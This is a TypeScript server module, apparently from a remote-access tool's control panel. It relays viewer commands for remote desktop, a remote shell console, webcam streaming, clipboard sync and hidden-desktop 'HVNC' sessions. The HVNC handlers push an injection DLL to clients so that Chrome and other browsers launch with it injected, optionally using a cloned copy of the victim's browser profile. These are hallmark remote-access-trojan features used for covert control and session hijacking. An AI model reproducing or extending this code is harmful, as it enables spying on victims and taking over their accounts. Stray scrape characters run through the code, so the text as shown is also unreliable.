934 lines
34 KiB
TypeScript
934 lines
34 KiB
TypeScript
import type { ServerWebSocket } from "bun";
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import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
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import { v4 as uuidv4 } from "uuid";
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import { existsSync, readFileSync } from "fs";
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import path from "path";
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import * as clientManager from "../clientManager";
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import { logger } from "../logger";
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import { metrics } from "../metrics";
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import { encodeMessage } from "../protocol";
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import { resolveRuntimeRoot } from "./runtime-paths";
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import * as sessionManager from "../sessions/sessionManager";
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import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
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import type { ClientInfo } from "../types";
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import { canUserAccessClient } from "../users";
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let _cachedInjectionDll: Uint8Array | null = null;
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let _dllCachePath: string | null = null;
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let _dllCacheMtimeMs: number = 0;
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function getInjectionDllBytes(): Uint8Array | null {
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const runtimeRoot = resolveRuntimeRoot();
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const candidates = [
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path.resolve(runtimeRoot, "dist-clients", "HVNCInjection.x64.dll"),
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path.resolve(process.cwd(), "dist-clients", "HVNCInjection.x64.dll"),
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path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll"),
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];
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if (_dllCachePath) {
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try {
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const { statSync } = require("fs");
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const st = statSync(_dllCachePath);
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if (st.mtimeMs === _dllCacheMtimeMs && _cachedInjectionDll) {
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return _cachedInjectionDll;
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}
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_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
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_dllCacheMtimeMs = st.mtimeMs;
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logger.info(`[hvnc] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
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return _cachedInjectionDll;
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} catch {
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_dllCachePath = null;
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_cachedInjectionDll = null;
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}
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}
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for (const dllPath of candidates) {
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if (!existsSync(dllPath)) continue;
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try {
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const { statSync } = require("fs");
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const st = statSync(dllPath);
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_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
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_dllCachePath = dllPath;
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_dllCacheMtimeMs = st.mtimeMs;
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logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
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return _cachedInjectionDll;
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} catch {
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continue;
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}
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}
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logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`);
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return null;
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}
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function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
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if (typeof raw === "string") {
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try {
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return JSON.parse(raw);
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} catch {
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return null;
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}
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}
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try {
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const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw);
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return msgpackDecode(buf);
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} catch {
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return null;
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}
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}
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function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
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try {
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ws.send(msgpackEncode(payload));
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} catch (err) {
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logger.error("[console] viewer send failed", err);
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}
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}
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function safeSendViewerFrame(ws: ServerWebSocket<SocketData>, bytes: Uint8Array, header?: any): number {
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try {
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const buf = buildViewerFrameBuffer(bytes, header);
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ws.send(buf);
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metrics.recordBytesSent(buf.length);
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return buf.length;
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} catch (err) {
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logger.error("[rd] viewer frame send failed", err);
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return 0;
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}
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}
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function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array {
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const meta = new Uint8Array(8);
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meta[0] = 0x46;
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meta[1] = 0x52;
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meta[2] = 0x4d;
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meta[3] = 1;
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meta[4] = (header?.monitor ?? 0) & 0xff;
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meta[5] = (header?.fps ?? 0) & 0xff;
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const fmt = header?.format === "blocks"
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? 2
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: header?.format === "blocks_raw"
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? 3
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: header?.format === "h264"
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? 4
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: 1;
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meta[6] = fmt;
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meta[7] = 0;
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const buf = new Uint8Array(8 + bytes.length);
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buf.set(meta, 0);
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buf.set(bytes, 8);
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return buf;
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}
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const VIEWER_BACKPRESSURE_BYTES = 4 * 1024 * 1024; // 4 MB
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function broadcastFrameToViewers(
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sessions: Iterable<{ viewer: ServerWebSocket<SocketData> }>,
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buf: Uint8Array,
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header?: any,
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): boolean {
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let sent = false;
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const t0 = performance.now();
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const byteLen = buf.length;
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for (const session of sessions) {
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try {
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const buffered = session.viewer.getBufferedAmount?.() ?? 0;
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if (buffered > VIEWER_BACKPRESSURE_BYTES) {
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continue;
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}
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session.viewer.send(buf);
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metrics.recordBytesSent(byteLen);
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sent = true;
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} catch (err) {
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logger.error("[rd] viewer frame send failed", err);
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}
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}
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const elapsed = performance.now() - t0;
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if (sent) {
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rdSendStats.frames += 1;
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rdSendStats.bytes += byteLen;
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rdSendStats.sendMs += elapsed;
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}
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logRdSend(header);
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return sent;
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}
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const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 };
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export const rdStreamingState = new Map<string, {
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isStreaming: boolean;
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display: number;
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quality: number;
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codec: string;
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duplication: boolean;
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maxHeight: number;
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}>();
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const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
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const RD_INPUT_TTL_MS = 10_000;
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function pruneRdInputPending(now = Date.now()) {
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for (const [id, pending] of rdInputPending.entries()) {
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if (now - pending.sentAt > RD_INPUT_TTL_MS) {
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rdInputPending.delete(id);
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}
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}
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}
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function recordRdInput(commandId: string, clientId: string, kind: string) {
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pruneRdInputPending();
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rdInputPending.set(commandId, { clientId, sentAt: Date.now(), kind });
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}
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export function notifyRdInputLatency(commandId: string) {
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const pending = rdInputPending.get(commandId);
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if (!pending) return;
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rdInputPending.delete(commandId);
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const ms = Date.now() - pending.sentAt;
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for (const session of sessionManager.getRdSessionsForClient(pending.clientId)) {
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safeSendViewer(session.viewer, { type: "input_latency", ms, kind: pending.kind, commandId });
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}
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}
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function logRdSend(header?: any) {
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const now = Date.now();
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if (now - rdSendStats.lastLog < 5000) return;
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const frames = rdSendStats.frames || 1;
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const avgMs = rdSendStats.sendMs / frames;
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const avgBytes = rdSendStats.bytes / frames;
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const fpsAgent = header?.fps ?? "?";
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logger.debug(`[rd] send avg=${avgMs.toFixed(2)}ms size=${Math.round(avgBytes)}B frames=${rdSendStats.frames} agent_fps=${fpsAgent}`);
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rdSendStats.lastLog = now;
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rdSendStats.frames = 0;
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rdSendStats.sendMs = 0;
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rdSendStats.bytes = 0;
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}
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function sendConsoleCommand(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) {
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if (!target) return false;
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try {
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target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, payload, id: uuidv4() }));
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metrics.recordCommand(commandType);
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return true;
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} catch (err) {
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logger.error("[console] send command failed", err);
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return false;
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}
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}
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function sendDesktopCommandWithId(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>, commandId: string) {
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if (!target) return false;
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try {
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logger.debug(`[rd] send command ${commandType} -> ${target.id}`);
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target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, payload, id: commandId }));
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metrics.recordCommand(commandType);
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return true;
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} catch (err) {
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logger.error("[rd] send command failed", err);
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return false;
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}
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}
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export function sendDesktopCommand(target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) {
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return sendDesktopCommandWithId(target, commandType, payload, uuidv4());
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}
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function startConsoleForViewer(target: ClientInfo | undefined, sessionId: string, cols = 120, rows = 36) {
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return sendConsoleCommand(target, "console_start", { sessionId, cols, rows });
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}
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export function stopConsoleOnTarget(target: ClientInfo | undefined, sessionId: string) {
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return sendConsoleCommand(target, "console_stop", { sessionId });
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}
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export function notifyConsoleClosed(clientId: string, reason: string) {
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for (const session of sessionManager.getConsoleSessionsByClient(clientId)) {
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safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId: session.id });
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sessionManager.deleteConsoleSession(session.id);
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}
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}
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export function handleConsoleViewerOpen(ws: ServerWebSocket<SocketData>) {
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const { clientId, sessionId, userId, userRole } = ws.data;
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if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
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ws.close(1008, "Forbidden: client access denied");
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return;
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}
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const effectiveSessionId = sessionId || uuidv4();
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ws.data.sessionId = effectiveSessionId;
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const target = clientManager.getClient(clientId);
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const session: ConsoleSession = { id: effectiveSessionId, clientId, viewer: ws, createdAt: Date.now() };
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sessionManager.addConsoleSession(session);
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safeSendViewer(ws, {
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type: "ready",
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sessionId: effectiveSessionId,
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clientId,
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clientOnline: !!target,
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host: target?.host || clientId,
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os: target?.os,
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user: target?.user,
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});
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if (!target) {
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safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId: effectiveSessionId });
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return;
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}
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startConsoleForViewer(target, effectiveSessionId);
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}
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export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
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const { clientId, userId, userRole } = ws.data;
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if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
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ws.close(1008, "Forbidden: client access denied");
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return;
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}
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const sessionId = uuidv4();
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ws.data.sessionId = sessionId;
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const target = clientManager.getClient(clientId);
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const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
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sessionManager.addRdSession(session);
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safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
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if (!target) {
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safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
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return;
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}
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safeSendViewer(ws, { type: "status", status: "online", sessionId });
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}
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export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
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for (const session of sessionManager.getRdSessionsForClient(clientId)) {
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safeSendViewer(session.viewer, {
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type: "status",
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status,
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reason,
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sessionId: session.id,
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});
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}
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}
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export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
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const payload = decodeViewerPayload(raw);
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if (!payload) return;
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if (!payload || typeof payload.type !== "string") return;
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const { clientId } = ws.data;
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const target = clientManager.getClient(clientId);
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if (!target) {
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safeSendViewer(ws, { type: "status", status: "offline" });
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return;
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}
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const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false, maxHeight: 0 };
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logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`);
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switch (payload.type) {
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case "desktop_start":
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if (!state.isStreaming) {
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if (target.os === "darwin" && target.permissions) {
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const missing: string[] = [];
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if (!target.permissions.screenRecording) missing.push("screenRecording");
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if (!target.permissions.accessibility) missing.push("accessibility");
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if (missing.length > 0) {
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logger.info(`[rd] macOS permission gate: client ${clientId} missing ${missing.join(", ")}`);
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safeSendViewer(ws, {
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type: "status",
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status: "permissions_denied",
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missing,
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permissions: target.permissions,
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});
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break;
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}
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}
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sendDesktopCommand(target, "desktop_start", {});
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state.isStreaming = true;
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rdStreamingState.set(clientId, state);
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logger.debug(`[rd] started streaming for client ${clientId}`);
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} else {
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logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`);
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}
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break;
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case "desktop_stop": {
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const otherViewers = sessionManager.getRdSessionsForClient(clientId)
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.filter(s => s.id !== ws.data.sessionId);
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if (otherViewers.length === 0) {
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sendDesktopCommand(target, "desktop_stop", {});
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if (state.isStreaming) {
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state.isStreaming = false;
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rdStreamingState.set(clientId, state);
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logger.debug(`[rd] stopped streaming for client ${clientId}`);
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} else {
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rdStreamingState.set(clientId, { ...state, isStreaming: false });
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logger.debug(`[rd] stop requested while not streaming for client ${clientId}`);
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}
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} else {
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logger.debug(`[rd] ignoring desktop_stop for client ${clientId} - ${otherViewers.length} other viewer(s) still active`);
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}
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break;
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}
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case "desktop_select_display": {
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const newDisplay = Number(payload.display) || 0;
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if (state.display !== newDisplay) {
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logger.debug(`[rd] changing display from ${state.display} to ${newDisplay}`);
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sendDesktopCommand(target, "desktop_select_display", { display: newDisplay });
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state.display = newDisplay;
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rdStreamingState.set(clientId, state);
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} else {
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logger.debug(`[rd] ignoring duplicate display select ${newDisplay}`);
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}
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break;
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}
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case "desktop_set_quality": {
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const newQuality = Number(payload.quality) || 90;
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const newCodec = String(payload.codec || "").toLowerCase();
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const reason = typeof payload.reason === "string"
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? payload.reason.slice(0, 512)
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: "";
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const source = typeof payload.source === "string"
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? payload.source.slice(0, 128)
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: "";
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if (state.quality !== newQuality || state.codec !== newCodec) {
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sendDesktopCommand(target, "desktop_set_quality", {
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quality: newQuality,
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codec: newCodec,
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...(reason ? { reason } : {}),
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...(source ? { source } : {}),
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});
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state.quality = newQuality;
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state.codec = newCodec;
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rdStreamingState.set(clientId, state);
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logger.debug(`[rd] set quality=${newQuality} codec=${newCodec || "(default)"}${source ? ` source=${source}` : ""}${reason ? ` reason=${reason}` : ""}`);
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}
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break;
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}
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case "desktop_enable_mouse":
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sendDesktopCommand(target, "desktop_enable_mouse", { enabled: !!payload.enabled });
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break;
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case "desktop_enable_keyboard":
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sendDesktopCommand(target, "desktop_enable_keyboard", { enabled: !!payload.enabled });
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break;
|
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case "desktop_enable_cursor":
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sendDesktopCommand(target, "desktop_enable_cursor", { enabled: !!payload.enabled });
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break;
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case "desktop_set_resolution": {
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const newMaxHeight = Number(payload.maxHeight) || 0;
|
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if (state.maxHeight !== newMaxHeight) {
|
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sendDesktopCommand(target, "desktop_set_resolution", { maxHeight: newMaxHeight });
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state.maxHeight = newMaxHeight;
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rdStreamingState.set(clientId, state);
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logger.debug(`[rd] set max resolution height=${newMaxHeight}`);
|
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}
|
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break;
|
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}
|
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case "desktop_set_duplication": {
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const enabled = !!payload.enabled;
|
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if (state.duplication !== enabled) {
|
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sendDesktopCommand(target, "desktop_set_duplication", { enabled });
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state.duplication = enabled;
|
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rdStreamingState.set(clientId, state);
|
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logger.debug(`[rd] set duplication to ${enabled}`);
|
|
}
|
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break;
|
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}
|
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case "mouse_move": {
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|
if (!state.isStreaming) break;
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|
const rawX = (payload as any).x;
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|
const rawY = (payload as any).y;
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|
const commandId = uuidv4();
|
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recordRdInput(commandId, clientId, "mouse_move");
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sendDesktopCommandWithId(target, "desktop_mouse_move", { x: Number(rawX) || 0, y: Number(rawY) || 0 }, commandId);
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break;
|
|
}
|
|
case "mouse_down": {
|
|
if (!state.isStreaming) break;
|
|
const commandId = uuidv4();
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recordRdInput(commandId, clientId, "mouse_down");
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sendDesktopCommandWithId(target, "desktop_mouse_down", { button: Number(payload.button) || 0 }, commandId);
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break;
|
|
}
|
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case "mouse_up": {
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if (!state.isStreaming) break;
|
|
const commandId = uuidv4();
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recordRdInput(commandId, clientId, "mouse_up");
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sendDesktopCommandWithId(target, "desktop_mouse_up", { button: Number(payload.button) || 0 }, commandId);
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break;
|
|
}
|
|
case "key_down": {
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if (!state.isStreaming) break;
|
|
const commandId = uuidv4();
|
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recordRdInput(commandId, clientId, "key_down");
|
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sendDesktopCommandWithId(target, "desktop_key_down", { key: payload.key || "", code: payload.code || "" }, commandId);
|
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break;
|
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}
|
|
case "key_up": {
|
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if (!state.isStreaming) break;
|
|
const commandId = uuidv4();
|
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recordRdInput(commandId, clientId, "key_up");
|
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sendDesktopCommandWithId(target, "desktop_key_up", { key: payload.key || "", code: payload.code || "" }, commandId);
|
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break;
|
|
}
|
|
case "text_input": {
|
|
if (!state.isStreaming) break;
|
|
const commandId = uuidv4();
|
|
recordRdInput(commandId, clientId, "text_input");
|
|
sendDesktopCommandWithId(target, "desktop_text", { text: payload.text || "" }, commandId);
|
|
break;
|
|
}
|
|
case "clipboard_sync": {
|
|
if (!state.isStreaming) break;
|
|
const text = String(payload.text || "");
|
|
if (text) {
|
|
sendDesktopCommand(target, "clipboard_set", { text });
|
|
}
|
|
break;
|
|
}
|
|
case "clipboard_sync_start": {
|
|
if (!state.isStreaming) break;
|
|
sendDesktopCommand(target, "clipboard_sync_start", { source: "rd" });
|
|
break;
|
|
}
|
|
case "clipboard_sync_stop": {
|
|
sendDesktopCommand(target, "clipboard_sync_stop", {});
|
|
break;
|
|
}
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
function handleRemoteDesktopFrame(payload: any) {
|
|
const clientId = payload.clientId as string;
|
|
const header = payload.header;
|
|
const bytes = payload.data as Uint8Array;
|
|
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false, maxHeight: 0 };
|
|
if (!state.isStreaming) {
|
|
rdStreamingState.set(clientId, { ...state, isStreaming: true });
|
|
}
|
|
const buf = buildViewerFrameBuffer(bytes, header);
|
|
broadcastFrameToViewers(sessionManager.getRdSessionsForClient(clientId), buf, header);
|
|
}
|
|
|
|
(globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
|
const buf = buildViewerFrameBuffer(bytes, header);
|
|
return broadcastFrameToViewers(sessionManager.getRdSessionsForClient(clientId), buf, header);
|
|
};
|
|
|
|
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
|
|
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean; quality: number; codec: string }>();
|
|
|
|
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|
const { clientId, userId, userRole } = ws.data;
|
|
if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
|
|
ws.close(1008, "Forbidden: client access denied");
|
|
return;
|
|
}
|
|
const sessionId = uuidv4();
|
|
ws.data.sessionId = sessionId;
|
|
const target = clientManager.getClient(clientId);
|
|
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
|
sessionManager.addWebcamSession(session);
|
|
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
|
if (!target) {
|
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
|
return;
|
|
}
|
|
safeSendViewer(ws, { type: "status", status: "online", sessionId });
|
|
sendDesktopCommand(target, "webcam_list", {});
|
|
}
|
|
|
|
export function handleWebcamDevices(clientId: string, payload: any) {
|
|
for (const session of sessionManager.getWebcamSessionsForClient(clientId)) {
|
|
safeSendViewer(session.viewer, payload);
|
|
}
|
|
}
|
|
|
|
export function handleHVNCCloneProgress(clientId: string, payload: any) {
|
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
|
safeSendViewer(session.viewer, {
|
|
type: "hvnc_clone_progress",
|
|
browser: String(payload.browser || ""),
|
|
percent: Number(payload.percent) || 0,
|
|
copiedBytes: Number(payload.copiedBytes) || 0,
|
|
totalBytes: Number(payload.totalBytes) || 0,
|
|
status: String(payload.status || ""),
|
|
});
|
|
}
|
|
}
|
|
|
|
export function handleHVNCLookupResult(clientId: string, payload: any) {
|
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
|
safeSendViewer(session.viewer, {
|
|
type: "hvnc_lookup_result",
|
|
exe: String(payload.exe || ""),
|
|
path: String(payload.path || ""),
|
|
done: !!payload.done,
|
|
});
|
|
}
|
|
}
|
|
|
|
export function handleClipboardContent(clientId: string, payload: any) {
|
|
const text = String(payload.text || "");
|
|
const source = String(payload.source || "");
|
|
if (!text) return;
|
|
if (source === "hvnc") {
|
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
|
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
|
|
}
|
|
} else {
|
|
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
|
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
|
|
}
|
|
}
|
|
}
|
|
|
|
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
|
const payload = decodeViewerPayload(raw);
|
|
if (!payload || typeof payload.type !== "string") return;
|
|
const { clientId } = ws.data;
|
|
const target = clientManager.getClient(clientId);
|
|
if (!target) {
|
|
safeSendViewer(ws, { type: "status", status: "offline" });
|
|
return;
|
|
}
|
|
|
|
const state = webcamStreamingState.get(clientId) || { isStreaming: false, deviceIndex: 0, fps: 30, useMax: false, quality: 90, codec: "" };
|
|
switch (payload.type) {
|
|
case "webcam_list":
|
|
sendDesktopCommand(target, "webcam_list", {});
|
|
break;
|
|
case "webcam_select": {
|
|
const index = Math.max(0, Number(payload.index) || 0);
|
|
state.deviceIndex = index;
|
|
webcamStreamingState.set(clientId, state);
|
|
sendDesktopCommand(target, "webcam_select", { index });
|
|
if (state.isStreaming) {
|
|
sendDesktopCommand(target, "webcam_stop", {});
|
|
sendDesktopCommand(target, "webcam_start", {});
|
|
}
|
|
break;
|
|
}
|
|
case "webcam_set_fps": {
|
|
if (state.isStreaming) {
|
|
safeSendViewer(ws, { type: "status", status: "error", reason: "Stop stream before changing FPS" });
|
|
break;
|
|
}
|
|
const fps = Math.max(1, Math.min(120, Number(payload.fps) || 30));
|
|
const useMax = !!payload.useMax;
|
|
state.fps = fps;
|
|
state.useMax = useMax;
|
|
webcamStreamingState.set(clientId, state);
|
|
sendDesktopCommand(target, "webcam_set_fps", { fps, useMax });
|
|
break;
|
|
}
|
|
case "webcam_start":
|
|
if (!state.isStreaming) {
|
|
sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax });
|
|
sendDesktopCommand(target, "webcam_set_quality", { quality: state.quality, codec: state.codec });
|
|
sendDesktopCommand(target, "webcam_start", {});
|
|
state.isStreaming = true;
|
|
webcamStreamingState.set(clientId, state);
|
|
}
|
|
break;
|
|
case "webcam_set_quality": {
|
|
const quality = Math.max(0, Math.min(100, Number(payload.quality) || 0));
|
|
const codec = String(payload.codec || "").toLowerCase();
|
|
state.quality = quality;
|
|
state.codec = codec;
|
|
webcamStreamingState.set(clientId, state);
|
|
sendDesktopCommand(target, "webcam_set_quality", { quality, codec });
|
|
break;
|
|
}
|
|
case "webcam_stop": {
|
|
const otherWebcamViewers = sessionManager.getWebcamSessionsForClient(clientId)
|
|
.filter(s => s.id !== ws.data.sessionId);
|
|
if (otherWebcamViewers.length === 0) {
|
|
sendDesktopCommand(target, "webcam_stop", {});
|
|
state.isStreaming = false;
|
|
webcamStreamingState.set(clientId, state);
|
|
} else {
|
|
logger.debug(`[webcam] ignoring webcam_stop for client ${clientId} - ${otherWebcamViewers.length} other viewer(s) still active`);
|
|
}
|
|
break;
|
|
}
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|
const { clientId, userId, userRole } = ws.data;
|
|
if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
|
|
ws.close(1008, "Forbidden: client access denied");
|
|
return;
|
|
}
|
|
const sessionId = uuidv4();
|
|
ws.data.sessionId = sessionId;
|
|
const target = clientManager.getClient(clientId);
|
|
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
|
sessionManager.addHvncSession(session);
|
|
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
|
if (!target) {
|
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
|
return;
|
|
}
|
|
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
|
|
}
|
|
|
|
function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
|
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
|
safeSendViewer(session.viewer, {
|
|
type: "status",
|
|
status,
|
|
reason,
|
|
sessionId: session.id,
|
|
});
|
|
}
|
|
}
|
|
|
|
export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
|
const payload = decodeViewerPayload(raw);
|
|
if (!payload) return;
|
|
if (!payload || typeof payload.type !== "string") return;
|
|
const { clientId } = ws.data;
|
|
const target = clientManager.getClient(clientId);
|
|
if (!target) {
|
|
safeSendViewer(ws, { type: "status", status: "offline" });
|
|
return;
|
|
}
|
|
|
|
const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "" };
|
|
|
|
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
|
|
switch (payload.type) {
|
|
case "hvnc_start":
|
|
if (!state.isStreaming) {
|
|
sendHVNCCommand(target, "hvnc_start", {
|
|
autoStartExplorer: false,
|
|
});
|
|
state.isStreaming = true;
|
|
hvncStreamingState.set(clientId, state);
|
|
logger.debug(`[hvnc] started streaming for client ${clientId}`);
|
|
} else {
|
|
logger.debug(`[hvnc] ignoring duplicate hvnc_start for client ${clientId}`);
|
|
}
|
|
break;
|
|
case "hvnc_stop": {
|
|
const otherHvncViewers = sessionManager.getHvncSessionsForClient(clientId)
|
|
.filter(s => s.id !== ws.data.sessionId);
|
|
if (otherHvncViewers.length === 0) {
|
|
if (state.isStreaming) {
|
|
sendHVNCCommand(target, "hvnc_stop", {});
|
|
state.isStreaming = false;
|
|
hvncStreamingState.set(clientId, state);
|
|
logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
|
|
}
|
|
} else {
|
|
logger.debug(`[hvnc] ignoring hvnc_stop for client ${clientId} - ${otherHvncViewers.length} other viewer(s) still active`);
|
|
}
|
|
break;
|
|
}
|
|
case "hvnc_select_display": {
|
|
const newDisplay = Number(payload.display) || 0;
|
|
if (state.display !== newDisplay) {
|
|
logger.debug(`[hvnc] changing display from ${state.display} to ${newDisplay}`);
|
|
sendHVNCCommand(target, "hvnc_select_display", { display: newDisplay });
|
|
state.display = newDisplay;
|
|
hvncStreamingState.set(clientId, state);
|
|
} else {
|
|
logger.debug(`[hvnc] ignoring duplicate display select ${newDisplay}`);
|
|
}
|
|
break;
|
|
}
|
|
case "hvnc_set_quality": {
|
|
const newQuality = Number(payload.quality) || 90;
|
|
const newCodec = String(payload.codec || "").toLowerCase();
|
|
if (state.quality !== newQuality || state.codec !== newCodec) {
|
|
sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: newCodec });
|
|
state.quality = newQuality;
|
|
state.codec = newCodec;
|
|
hvncStreamingState.set(clientId, state);
|
|
logger.debug(`[hvnc] set quality=${newQuality} codec=${newCodec || "(default)"}`);
|
|
}
|
|
break;
|
|
}
|
|
case "hvnc_enable_mouse":
|
|
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled });
|
|
break;
|
|
case "hvnc_enable_keyboard":
|
|
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_keyboard", { enabled: !!payload.enabled });
|
|
break;
|
|
case "hvnc_enable_cursor":
|
|
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
|
|
break;
|
|
case "hvnc_mouse_move":
|
|
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
|
break;
|
|
case "hvnc_mouse_down":
|
|
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", {
|
|
button: Number(payload.button) || 0,
|
|
x: Number(payload.x) || 0,
|
|
y: Number(payload.y) || 0,
|
|
});
|
|
break;
|
|
case "hvnc_mouse_up":
|
|
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", {
|
|
button: Number(payload.button) || 0,
|
|
x: Number(payload.x) || 0,
|
|
y: Number(payload.y) || 0,
|
|
});
|
|
break;
|
|
case "hvnc_mouse_wheel":
|
|
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
|
|
break;
|
|
case "hvnc_key_down":
|
|
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_down", { key: payload.key || "", code: payload.code || "" });
|
|
break;
|
|
case "hvnc_key_up":
|
|
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
|
|
break;
|
|
case "hvnc_lookup":
|
|
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
|
|
break;
|
|
case "hvnc_start_process":
|
|
sendHVNCCommand(target, "hvnc_start_process", {
|
|
path: String(payload.path || ""),
|
|
kill_exe: String(payload.kill_exe || ""),
|
|
});
|
|
break;
|
|
case "hvnc_start_process_injected": {
|
|
const dllData = getInjectionDllBytes();
|
|
if (!dllData) {
|
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
|
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
|
break;
|
|
}
|
|
sendHVNCCommand(target, "hvnc_start_process_injected", {
|
|
path: String(payload.path || ""),
|
|
search_path: String(payload.search_path || ""),
|
|
replace_path: String(payload.replace_path || ""),
|
|
dll: dllData,
|
|
});
|
|
break;
|
|
}
|
|
case "hvnc_start_chrome_injected": {
|
|
const dllData = getInjectionDllBytes();
|
|
if (!dllData) {
|
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
|
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
|
break;
|
|
}
|
|
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
|
|
path: String(payload.path || ""),
|
|
dll: dllData,
|
|
});
|
|
break;
|
|
}
|
|
case "hvnc_start_browser_injected": {
|
|
const dllData = getInjectionDllBytes();
|
|
if (!dllData) {
|
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
|
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
|
break;
|
|
}
|
|
sendHVNCCommand(target, "hvnc_start_browser_injected", {
|
|
browser: String(payload.browser || ""),
|
|
path: String(payload.path || ""),
|
|
clone: payload.clone !== false,
|
|
cloneLite: payload.cloneLite === true,
|
|
killIfRunning: payload.killIfRunning === true,
|
|
dll: dllData,
|
|
});
|
|
break;
|
|
}
|
|
case "clipboard_sync": {
|
|
if (!state.isStreaming) break;
|
|
const text = String(payload.text || "");
|
|
if (text) {
|
|
sendHVNCCommand(target, "clipboard_set", { text });
|
|
}
|
|
break;
|
|
}
|
|
case "clipboard_sync_start": {
|
|
if (!state.isStreaming) break;
|
|
sendDesktopCommand(target, "clipboard_sync_start", { source: "hvnc" });
|
|
break;
|
|
}
|
